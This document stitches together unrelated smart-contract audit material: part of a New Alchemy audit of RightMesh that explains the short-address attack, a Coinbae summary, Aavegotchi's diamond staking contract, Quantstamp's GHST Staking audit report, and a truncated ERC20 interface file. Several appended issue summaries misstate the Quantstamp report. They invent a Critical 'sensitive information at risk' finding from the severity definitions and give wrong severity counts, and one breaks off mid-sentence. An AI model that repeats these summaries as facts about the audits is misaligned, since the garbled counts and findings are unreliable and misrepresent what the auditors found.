https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 5/10 newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, msg.sender); owner = msg.sender; newOwner = address(0); } } Re-test results: RightMesh opted to preserve the current ownership transfer mechanism. Fixed: Lack of short-address attack protections Some Ethereum clients may create malformed messages if a user is persuaded to call a method on a contract with an address that is not a full 20 bytes long. In such a “short- address attack”, an attacker generates an address whose last byte is 0x00, then sends the first 19 bytes of that address to a victim. When the victim makes a contract method call, it appends the 19-byte address to msg.data followed by a value. Since the high- order byte of the value is almost certainly 0x00, reading 20 bytes from the expected location of the address in msg.data will result in the correct address. However, the value is then left-shifted by one byte, effectively multiplying it by 256 and potentially causing the victim to transfer a much larger number of tokens than intended. msg.data will be one byte shorter than expected, but due to how the EVM works, reads past its end will just return 0x00. This attack effects methods that transfer tokens to destination addresses, where the method parameters include a destination address followed immediately by a value. In the RightMesh contracts, such methods include MeshToken.mint, MeshToken.transfer, MeshToken.transferFrom, MeshToken.approve, MeshToken.increaseApproval, MeshToken.decreaseApproval, (all inherited from OpenZeppelin base contracts), and Timelock.allocateTokens. While the root cause of this flaw is buggy serializers and how the EVM works, it can be easily mitigated in contracts. When called externally, an affected method should verify that msg.data.length is at least the minimum length of the method's expected arguments (for instance, msg.data.length for an external call to Timelock.allocateTokens should be at least 68: 4 for the hash, 32 for the address (including12bytesofpadding)and32forthevalue;someclientsmayaddadditionalOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 6/10(including 12 bytes of padding), and 32 for the value; some clients may add additional padding to the end). This can be implemented in a modifier. External calls can be detected in the following ways: Compare the first four bytes of msg.data against the method hash. If they don't match, then the call is internal and no short-address check is necessary. Avoid creating public methods that may be subject to short-address attacks; instead create only external methods that check for short addresses as described above. public methods can be simulated by having the external methods call private or internal methods that perform the actual operations and that do not check for short-address attacks. Whether or not it is appropriate for contracts to mitigate the short-address attack is a contentious issue among smart-contract developers. Many, including those behind the OpenZeppelin project, have explicitly chosen not to do so. While it is New Alchemy’s position that there is value in protecting users by incorporating low-cost mitigations into likely target functions, RightMesh would not stand out from the community if they also choose not to do so. Re-test results: RightMesh overrode the listed functions to require that msg.data.length is at least 68. All are public, so they may not work properly if called internally from something with a shorter argument list. Not Fixed: Predefined token allocations are not hard-coded According to the RightMesh FAQ, tokens are allocated as follows: 30%: Public distribution (crowdsale) 30%: RightMesh GmbH & Community 20%: Left & team 10%: Advisors & TGE costs 10%: Airdrop to community These last five allocations are controlled at deployment by the beneficiaries and beneficiaryAmounts arrays passed into the constructor for MeshCrowdsale. While this hd h ll id ihblkhi h i b i dbOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 7/10approach does put the allocation data in the blockchain where it can be retrieved by interested parties, the state of the contract is not as easily located or reviewed as its source code. The current predefined token allocation in config/predefined-minting-config.js appears to try five times to assign 100 tokens to the address 0x5D51E3558757Bfdfc527867d046260fD5137Fc0F (this should only succeed once due to the balance check), though this may be test data. For optimal transparency, RightMesh should instead hard-code the allocation percentages or token counts so that anyone reviewing the contract source code can easily verify that tokens were issued as documented. Re-test results: RightMesh opted to preserve the current allocation configuration mechanism. Line by line comments This section lists comments on design decisions and code quality made by New Alchemy during the review. They are not known to represent security flaws. MeshCrowdsale.sol Lines 12, 52 – 53 OpenZeppelin has radically refactored their crowdsale contracts as of late February 2018. Among other things, CappedCrowdsale has been moved, the functionality for starting and ending times has been moved to TimedCrowdsale, and Crowdsale.validPurchase no longer exists. In order to ensure that a version of OpenZeppelin compatible with these contracts can be easily identified, RightMesh should copy a fork of the relevant contracts into their repository or at least document the commit that should be used. Re-test results: RightMesh added a comment to their code indicating that the version of OpenZeppelin at commit hash 4d7c3cca7590e554b76f6d91cbaaae87a6a2e2e3 should be used to build their contracts.Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 8/10Line 42 “og” should be “of”. Re-test results: This issue has been fixed as recommended. Lines 96, 116, 132, 149, 159 There is no need for these functions to return bool: they all unconditionally return true and throw on failure. Removing the return values would make code that calls these functions simpler, as it would not need to check return values. It would also make them marginally cheaper in gas to execute. Re-test results: This issue has been fixed as recommended. Line 167 This function is declared as returning bool, but never returns anything. As above, there is no need for it to return anything. Re-test results: This issue has been fixed as recommended. MeshToken.sol Lines 60 The function should be tagged public or external rather than relying on the default visibility. Re-test results: RightMesh reports fixing this issue as recommended. Timelock.sol Line 91 If cliffReleasePercentage and slopeReleasePercentage ever sum to less than 100, then the remaining fraction of tokens will become available all at once once the slope duration expires, essentially creating a second cliff at the bottom of the slope. If this is not intended behaviour, then the check should be amended to require that the sum is 100%. Re-test results: RightMesh reports that this is intended behaviour.Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 9/10Lines 117, 128, 138, 147, 176 There is no need for these functions to return bool: they all unconditionally return true and throw on failure. Removing the return values would make code that calls these functions simpler, as it would not need to check return values. It would also make them marginally cheaper in gas to execute. Re-test results: RightMesh reports fixing this issue as recommended. Line 157 Consider checking withdrawalPaused in availableForWithdrawal instead of in withdraw. As currently implemented, availableForWithdrawal may report a non-zero quantity available for a paused address, but withdrawal will fail. It would be more intuitive if availableForWithdrawal reported 0 for a paused address. Re-test results: RightMesh reports that this behaviour is by design: it allows employees to see unlocked tokens even if withdrawal is paused. Disclaimer The audit makes no statements or warranties about utility of the code, safety of the code, suitability of the business model, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bugfree status. The audit documentation is for discussion purposes only. New Alchemy is a strategy and technology advisory group specializing in tokenization. One of the only companies to offer a full spectrum of guidance from tactical technical execution to high-level theoretical modeling, New Alchemy provides blockchain technology, token game theory, smart contracts, security audits, and ICO advisory to the most innovative startups worldwide. Get in touch with us at Hello@NewAlchemy.io Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 10/10 About Help Terms Privacy Get the Medium app Open in app Get started
Issues Count of Minor/Moderate/Major/Critical Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues 2.a Problem: Solidity assert violation. 2.b Fix: Update the contracts to the latest supported version of solidity. Moderate Issues 3.a Problem: Incorrect ERC20 implementation. 3.b Fix: Update the contracts to the latest supported version of solidity. Major Issues: None Critical Issues: None Observations: It is best practice to use the latest version of the solidity compiler supported by the toolset you use. Conclusion: Coinbae's audit report division performed an audit for the Deus Finance team (DEAStaking pool) and found 1 minor and 1 moderate issue. The issues can be fixed by updating the contracts to the latest supported version of solidity. Issues Count of Minor/Moderate/Major/Critical: - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 1 Critical: 5.a Problem: Overpowered user 5.b Fix: See the update and teams response on page 10. Observations: - Outdated compiler version - No or floating compiler version set - Use of right-to-left-override control character - Shadowing of built-in symbol - Incorrect constructor name - State variable shadows another state variable - Local variable shadows a state variable - Function parameter shadows a state variable - Named return value shadows a state variable - Unary operation without effect Solidity code analysis - Unary operation directly after assignment - Unused state variable - Unused local variable - Function visibility is not set - State variable visibility is not set - Use of deprecated functions: call code(), sha3(), etc. - Use of deprecated global variables (msg.gas, etc.) - Use of deprecated keywords (throw, var) - Incorrect function state mutability - Does the code conform to the Solidity styleguide Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Functions on DEAStaking.sol (setShares, setRewardPerBlock`,setWallets) are callable only from one address if the private key of this address becomes compromised rewards can be changed and this may lead to undesirable consequences. 2.b Fix: Use a multisig wallet for overpowered users. Moderate: None Major: None Critical: None Observations: After pointing out the high severity issues to the Deus Finance team consensus was reached and corroborated by the Coinbae team. The Deus Finance team did in fact place control of the contracts under ownership of the DAO(Decentralized autonomous organization) as can be seen in this tx id. Conclusion: The audit team concluded that the issue was solved and the risk was moved to low.
// SPDX-License-Identifier: MIT pragma solidity 0.7.1; pragma experimental ABIEncoderV2; /******************************************************************************\ * Author: Nick Mudge * * Implementation of an example of a diamond. /******************************************************************************/ import "./libraries/LibDiamond.sol"; import "./interfaces/IDiamondLoupe.sol"; import "./interfaces/IDiamondCut.sol"; import "./interfaces/IERC173.sol"; import "./interfaces/IERC165.sol"; import "./libraries/AppStorage.sol"; import "./interfaces/IERC1155Metadata_URI.sol"; contract GHSTStakingDiamond { AppStorage s; event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); constructor(IDiamondCut.FacetCut[] memory _diamondCut, address _owner, address _ghstContract, address _uniV2PoolContract) { LibDiamond.diamondCut(_diamondCut, address(0), new bytes(0)); LibDiamond.setContractOwner(_owner); LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage(); s.ghstContract = _ghstContract; s.uniV2PoolContract = _uniV2PoolContract; s.ticketsBaseUri = 'https://aavegotchi.com/metadata/'; // used to calculate frens points from staked GHST // s.ghstFrensMultiplier = 1; // s.uniV2PoolTokensFrensMultiplier = 100; // adding ERC165 data // ERC165 ds.supportedInterfaces[IERC165.supportsInterface.selector] = true; // DiamondCut // ds.supportedInterfaces[IDiamondCut.diamondCut.selector] = true; // DiamondLoupe ds.supportedInterfaces[ IDiamondLoupe.facets.selector ^ IDiamondLoupe.facetFunctionSelectors.selector ^ IDiamondLoupe.facetAddresses.selector ^ IDiamondLoupe.facetAddress.selector ] = true; // ERC173 ds.supportedInterfaces[ IERC173.transferOwnership.selector ^ IERC173.owner.selector ] = true; // ERC1155 // ERC165 identifier for the main token standard. ds.supportedInterfaces[0xd9b67a26] = true; // ERC1155 // ERC1155Metadata_URI ds.supportedInterfaces[IERC1155Metadata_URI.uri.selector] = true; // create wearable tickets: emit TransferSingle(msg.sender, address(0), address(0), 0, 0); emit TransferSingle(msg.sender, address(0), address(0), 1, 0); emit TransferSingle(msg.sender, address(0), address(0), 2, 0); emit TransferSingle(msg.sender, address(0), address(0), 3, 0); emit TransferSingle(msg.sender, address(0), address(0), 4, 0); emit TransferSingle(msg.sender, address(0), address(0), 5, 0); } // Find facet for function that is called and execute the // function if a facet is found and return any value. fallback() external payable { LibDiamond.DiamondStorage storage ds; bytes32 position = LibDiamond.DIAMOND_STORAGE_POSITION; assembly { ds.slot := position } address facet = address(bytes20(ds.facets[msg.sig])); require(facet != address(0), "GHSTSTaking: Function does not exist"); assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } receive() external payable { revert("GHSTStaking: Does not accept either"); } }
October 29th 2020— Quantstamp Verified Aavegotchi GHST Staking This security assessment was prepared by Quantstamp, the leader in blockchain security Executive Summary Type Diamond pattern showcase Auditors Kacper Bąk , Senior Research EngineerJan Gorzny , Blockchain ResearcherFayçal Lalidji , Security AuditorTimeline 2020-10-09 through 2020-10-19 EVM Muir Glacier Languages Solidity, Javascript Methods Unit Testing, Manual Review Specification EIP-2535 Diamond Standard Documentation Quality Medium Test Quality Low Source Code Repository Commit ghst-staking af267c0 Goals Can staking funds get locked up in the contract? •Are there any security issues with the diamond pattern? •Total Issues 7 (4 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 0 (0 Resolved)Low Risk Issues 3 (2 Resolved)Informational Risk Issues 3 (1 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged The issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Mitigated Implemented actions to minimize the impact or likelihood of the risk. Summary of FindingsOverall the project is overengineered since it uses the diamond pattern although it is unnecessary. The team, however, decided to use the diamond pattern intentionally to show how it could be used. Although we have not found any significant issues with the code itself, we very highly recommend improving the test suite both for: 1) the user-facing functionality of the project, and 2) the diamond pattern itself. We also provide a few recommendations for improving the code. the report has been revised based on commit . Notably, the team improved the test suite. Update: 5978a3d ID Description Severity Status QSP- 1 Limited test suite High Mitigated QSP- 2 The interface not fully compatible with ERC20 IERC20Low Fixed QSP- 3 Lack of non-zero check for address Low Fixed QSP- 4 Diamond facet upgrade Low Acknowledged QSP- 5 Unlocked Pragma Informational Fixed QSP- 6 Clone-and-Own Informational Acknowledged QSP- 7 Storage Data Packing Informational Acknowledged Quantstamp Audit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Possible issues we looked for included (but are not limited to): Transaction-ordering dependence •Timestamp dependence •Mishandled exceptions and call stack limits •Unsafe external calls •Integer overflow / underflow •Number rounding errors •Reentrancy and cross-function vulnerabilities •Denial of service / logical oversights •Access control •Centralization of power •Business logic contradicting the specification •Code clones, functionality duplication •Gas usage •Arbitrary token minting •Methodology The Quantstamp auditing process follows a routine series of steps: 1. Code review that includes the following i. Review of the specifications, sources, and instructions provided to Quantstamp to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Quantstamp describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and how much code is exercised when we run those test cases. ii. Symbolic execution, which is analyzing a program to determine what inputs cause each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, and actionable recommendations to help you take steps to secure your smart contracts. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: v0.6.6 • Slitherv0.2.7 • MythrilSteps taken to run the tools:1. Installed the Slither tool:pip install slither-analyzer 2. Run Slither from the project directory:s slither . 3. Installed the Mythril tool from Pypi:pip3 install mythril 4. Ran the Mythril tool on each contract:myth -x path/to/contract Findings QSP-1 Limited test suite Severity: High Risk Mitigated Status: The project appears to have a very limited test suite. Tests may express requirements and are necessary to validate software's intent. Description: the team informed us that this project uses the implementation. The repository has 13 tests for that diamond implementation. Furthermore, the team has improved the test suite as of commit . Update:diamond-2 5978a3d We highly recommend improving the test suite, especially since this is one of the first projects to rely on the recently proposed diamond pattern. Recommendation: QSP-2 The interface not fully compatible with ERC20 IERC20Severity: Low Risk Fixed Status: File(s) affected: IERC20.sol The interface is not fully compatible with as the name would suggest. For example, the interface is missing . Description: IERC20 ERC20 approve() We recommend one of the following: 1) making the interface fully compatible with the ERC20 standard; 2) renaming the interface to reflect that it is only partially compatible with ERC20; or 3) documenting this fact in the code. Recommendation:QSP-3 Lack of non-zero check for address Severity: Low Risk Fixed Status: File(s) affected: GHSTStakingDiamond.sol The function does not check if arguments of type are non-zero which may lead to invalid initialization. Description: constructor() address We recommend adding a relevant check or documenting the fact that a 0x0 address is a correct value. Recommendation: QSP-4 Diamond facet upgrade Severity: Low Risk Acknowledged Status: File(s) affected: GHSTStakingDiamond.sol If during an upgrade calls are executed in multiple Ethereum transactions, users may be exposed to contracts that are upgraded only partially, i.e., some of the functions are upgraded while others are not. This may result in unexpected inconsistencies. Description:diamondCut() We recommend upgrading the contracts in a single transaction, or making the fallback function pausable for the duration of an upgrade. Recommendation: QSP-5 Unlocked Pragma Severity: Informational Fixed Status: Every Solidity file specifies in the header a version number of the format . The caret ( ) before the version number implies an unlocked pragma, meaning that the compiler will use the specified version , hence the term "unlocked". Description:pragma solidity (^)0.4.* ^ and above For consistency and to prevent unexpected behavior in the future, it is recommended to remove the caret to lock the file onto a specific Solidity version. Recommendation: QSP-6 Clone-and-Own Severity: Informational Acknowledged Status: , File(s) affected: String.sol SafeMath.sol The clone-and-own approach involves copying and adjusting open source code at one's own discretion. From the development perspective, it is initially beneficial as it reduces the amount of effort. However, from the security perspective, it involves some risks as the code may not follow the best practices, may contain a security vulnerability, or may include intentionally or unintentionally modified upstream libraries. Description:Rather than the clone-and-own approach, a good industry practice is to use the Truffle framework for managing library dependencies. This eliminates the clone-and-own risks yet allows for following best practices, such as, using libraries. Recommendation:QSP-7 Storage Data Packing Severity:Informational Acknowledged Status: , , File(s) affected: DiamondCutFacet.sol DiamondLoupeFacet.sol LibDiamond.sol All data packing for is done manually whereas structures could be used instead. The compiler will tightly pack any ordered state variables by groups of 32 bytes and use only one storage slot (also applicable for struct members). Please note that all the necessary operations for reading and writing variables will be created and optimized automatically by the compiler. Description:LibDiamond.DiamondStorage When there is tradeoff between lower gas consumption and code simplicity, we recommend picking the latter unless there are good reasons not to. Higher complexity tends to introduce more risks and less clarity. Recommendation:The diamond pattern functions in , and could be simplified. For example, maps to and , it can be redefined as follows: DiamondCutFacetDiamondLoupeFacet LibDiamond mapping(bytes4 => bytes32) facets address facet uint96 selectorPosition struct Facet { address facetAddr; uint96 selectorPosition; } mapping(bytes4 => Facet) facets; The same logic applies to all the other state variables including where a array can be used to fetch the selector following its . DiamondStorage.selectorSlots bytes4 selectorPosition the team informed us that they used a gas-optimized implementation on purpose; it is less readable than it could be and that it is also more gas efficient. The implementation is implemented the same way as diamond-2 but uses a more readable style that costs a little more gas. Update:diamond-1 Adherence to Best Practices 1. In, -> . fixed. GHSTStakingDiamond.sol#101 either ether Update: 2. may be used with addresses other than tokens. There may exist some corner cases where reverts for other reasons than and . We recommend adjusting the error messages accordingly. fixed. LibERC20.solhandleReturn() transfer() transferFrom() Update: 3. The functiontakes an array of IDs as an argument. The length of the array is proportional to the number of IDs. It could be simplified by setting the length to 6. Each index would represent an ID. A number placed at a given index in the array would determine the number of tickets with given ID. fixed. StakingFacet.claimTickets()Update: 4. Indouble check that the upper limits on the number of tokens won't cause overflow in L23 and downcasts from are correct, e.g., in lines 30, 36, 42, 55. fixed. StakingFacet.soluint256 Update: Test Results Test Suite Results We ran the test suite following the steps: 1. npm install2. touch .secret3. npx buidler testGHSTStakingDiamond ✓ Check that all functions and facets exist in the diamond (442ms) ✓ Check that diamond upgrades are not possible ✓ Should stake all GHST (96ms) ✓ Should stake GHST-ETH pool tokens (53ms) ✓ Should accumulate frens from staked GHST and staked GHST-ETH pool tokens ✓ Should be able to claim ticket (58ms) ✓ Cannot claim tickets above 5 ✓ Should not be able to purchase 3 million Godlike tickets ✓ Total supply of all tickets should be 27 ✓ Balance of second item should be 6 ✓ Balance of third item should be 5 ✓ Can transfer own ticket ✓ Cannot transfer someone else's ticket ✓ Can batch transfer own tickets ✓ Cannot batch transfer someone else's tickets ✓ Can get balance of batch ✓ Cannot transfer more tickets than one owns ✓ Can approve transfers ✓ Can transfer approved transfers (84ms) ✓ Can withdraw staked GHST (80ms) ✓ Can withdraw staked GHST-ETH pool tokens (81ms) ✓ Cannot withdraw more than staked ✓ Can set setBaseURI (91ms) ✓ Set contract owner (51ms) 24 passing (3s) AppendixFile Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts fa52b2470f817c244759cdf4f5dfba0319c1ee9c5e9e937a70480c46ca8204f4 ./contracts/GHSTStakingDiamond.sol 8286ad4b1dc5f1307b35fa571eff831969cfd26ea5be81cca560ae00a100524d ./contracts/interfaces/IERC20.sol a280edee4411b1afe680857c2949d73b4d4db999d516b605c01f200ae4b6c2fb ./contracts/interfaces/IERC1155.sol 7feaf8d0322e0b38f901248d35eab2db866854badb281fcf5524135a96f01f43 ./contracts/interfaces/IDiamondCut.sol 82564b3a1e10a572c4776a734bbec7a045052828d4452196f4202a8903f1c472 ./contracts/interfaces/IERC1155TokenReceiver.sol 78057a2a0a0079c9d08faf027237ba67f118ebd2cd2344bad2d251e30983652d ./contracts/interfaces/IDiamondLoupe.sol 0051a3c6865b53c2baeb0eea386bd00b222b8a714c71b09a3d8c24aea4295604 ./contracts/interfaces/IERC1155Metadata_URI.sol 33eb126062d9350a2edc416e24b788db6694fb9cc9c56f25bc425eb3ab1cd396 ./contracts/interfaces/IUniswapV2Pair.sol c50094b0805bda6c004634e1fbaf09b5bd53ccef0cd8140bfcfde81eec1c7396 ./contracts/interfaces/IERC165.sol 394e0b4dbe80b81c6ccce95f39f04766c84097f436f117da8ae6ec1f89b70dc3 ./contracts/interfaces/IGHSTStakingDiamond.sol 18d9f30afaeffa11393654cb5dcf9e5265ee18042d8a76e3f634c9e74393cf8a ./contracts/interfaces/IERC173.sol 6cb5c302023724bf4351b021d18d57343943c496504bc91b15ad0774d1c2c032 ./contracts/libraries/LibStrings.sol 8500cb67e4761722e3930fd51cd5dc400b814b5ca701e5b589661dea8e06918b ./contracts/libraries/LibERC20.sol b37d1a7c0aee02c93f9e406ae9d85abc20487ff964f7045366d749022d2d5e48 ./contracts/libraries/LibDiamond.sol d143cffcfb7404bc7668999bd86d2cfd9202b27c67a364fa170e42bc4544dd69 ./contracts/libraries/AppStorage.sol ef42d1b6d5212fd8afbdddb64abccddc5bd5c931436018563b86c1c3e65a000f ./contracts/test/GHST/ERC20.sol f6401fb608bd5d2bad2f05c551786750c88e90f0beed0e96a0e60c2e42eb985f ./contracts/test/GHST/AppStorage.sol 04f7d812bc8fa128f593eebe7db454a2c526e396446c23ad2b483e867fe0bb78 ./contracts/facets/DiamondCutFacet.sol 2ccca5af6d396873575ad01754083e973475093aa941db4a8ff490da998247c8 ./contracts/facets/TicketsFacet.sol e28a83775c8d1a6535ef46a45024efba180d1821eaf29b355748c037fabd3231 ./contracts/facets/OwnershipFacet.sol 478a834a235f8a72c22fe0c3fa20d58a2ef8fb7308abd8118cb989217f7f4251 ./contracts/facets/StakingFacet.sol 4f8dd8c65c44e9daa588854cc9d6973d61681de42172443d2bbfa5a8709cfa1b ./contracts/facets/DiamondLoupeFacet.sol Tests d8a9c3060ad6e7711fd99802f0585d8c12a3362a38778e196bb28f41ddd81b27 ./test/test.js Changelog 2020-10-15 - Initial report •2020-10-23 - Updated report based on commit •5978a3d About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure blockchain platforms at scale using computer-aided reasoning tools, with a mission to help boost the adoption of this exponentially growing technology. With over 1000 Google scholar citations and numerous published papers, Quantstamp's team has decades of combined experience in formal verification, static analysis, and software verification. Quantstamp has also developed a protocol to help smart contract developers and projects worldwide to perform cost-effective smart contract security scans. To date, Quantstamp has protected $5B in digital asset risk from hackers and assisted dozens of blockchain projects globally through its white glove security assessment services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Quantstamp's collaborations with leading academic institutions such as the National University of Singapore and MIT (Massachusetts Institute of Technology) reflect our commitment to research, development, and enabling world-class blockchain security. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third-party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Blockchain technology remains under development and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond the programming language, or other programming aspects that could present security risks. A report does not indicate the endorsement of any particular project or team, nor guarantee its security. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell a product, service or any other asset. To the fullest extent permitted by law, we disclaim all warranties, expressed or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third-party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked websites, any websites or mobile applications appearing on any advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. Aavegotchi GHST Staking Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 3 - Moderate: 0 - Major: 1 - Critical: 1 Minor Issues 2.a Problem (one line with code reference) - Unnecessary use of diamond pattern (EIP-2535) 2.b Fix (one line with code reference) - Intentional use of diamond pattern to showcase Major 4.a Problem (one line with code reference) - Low test quality 4.b Fix (one line with code reference) - Improve test suite for user-facing functionality and diamond pattern Critical 5.a Problem (one line with code reference) - Sensitive information at risk 5.b Fix (one line with code reference) - Adjust program implementation, requirements or constraints to eliminate the risk Observations - Project is overengineered - Intentional use of diamond pattern - Low test quality Conclusion The project is overengineered and the team has decided to use the diamond pattern intentionally. Although no significant issues were found with the code, it is highly recommended to improve the test suite for user-facing functionality and the diamond Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: QSP-2 The interface not fully compatible with ERC20 IERC20 Problem: The interface is not fully compatible with ERC20 IERC20. Fix: The team has implemented the necessary changes to make the interface fully compatible with ERC20 IERC20. Moderate: QSP-3 Lack of non-zero check for address Problem: There is a lack of non-zero check for address. Fix: The team has implemented a non-zero check for address. Major: None Critical: None Observations: The Quantstamp audit process follows a routine series of steps, including code review, testing and automated analysis, and best practices review. The tools used for the audit were Slither and Mythril. Conclusion: The audit found one minor and one moderate issue, which have been fixed by the team. No major or critical issues were found. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: The interface is not fully compatible with ERC20 2.b Fix: Making the interface fully compatible with the ERC20 standard, renaming the interface to reflect that it is only partially compatible with ERC20, or documenting this fact in the code. Moderate Issues: 3.a Problem: The function does not check if arguments of type are non-zero which may lead to invalid initialization. 3.b Fix: Adding a relevant check or documenting the fact that a 0x0 address is a correct value. Major Issues: None Critical Issues: None Observations: For consistency and to prevent unexpected behavior in the future, it is recommended to remove the caret to lock the file onto a specific Solidity version. Rather than the clone-and-own approach, a good industry practice is to use the Truffle framework for managing library dependencies. Conclusion: The repository has 13 tests for that diamond implementation and the team has improved the test suite as of commit
pragma solidity ^0.5.16; /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ interface EIP20NonStandardInterface { /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transfer(address dst, uint256 amount) external; /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transferFrom(address src, address dst, uint256 amount) external; /** * @notice Approve `spender` to transfer up to `amount` from 